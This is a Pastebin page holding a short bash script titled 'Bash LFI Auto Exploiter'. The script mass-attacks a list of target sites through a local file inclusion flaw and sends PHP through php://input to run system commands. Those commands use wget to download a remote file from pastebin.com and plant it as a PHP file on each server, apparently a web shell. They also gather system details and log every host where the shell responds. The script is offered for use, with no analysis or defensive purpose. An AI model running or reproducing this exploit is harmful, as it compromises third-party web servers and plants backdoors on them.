SHARE
TWEET

Bash LFI Auto Exploiter

INDOXPLOIT Aug 14th, 2019 (edited) 81 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/bin/bash
  2. cekrce() {
  3.     target=$1
  4.     echo -ne "---";
  5.  
  6.     upload=$(curl -s --data "<?php system('wget https://pastebin.com/raw/KUDbhDy2 -O 99091023933231312.php;ls -la;pwd;uname -a;whoami');?>" -X GET "${target}?page=php://input" | head -1)
  7.     cekshell=$(curl -s "${target}/99091023933231312.php");
  8.     if [[ $cekshell =~ 'ganteng' ]]; then
  9.     echo "Upload Done"
  10.     echo "$result" >> 131sx123mmnxxx1a.txt
  11.     echo "$target/99091023933231312.php" | tee -a 131sx123mmnxxx1a.txt
  12.     echo "=====================================\n" >> 131sx123mmnxxx1a.txt
  13.     else
  14.     echo "Failed"
  15.     fi
  16.     }
  17.    
  18. for s in $(cat $1); do
  19.     echo "CHECKING $s"
  20.     echo -ne "----";
  21.     cekrce $s
  22. Done
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top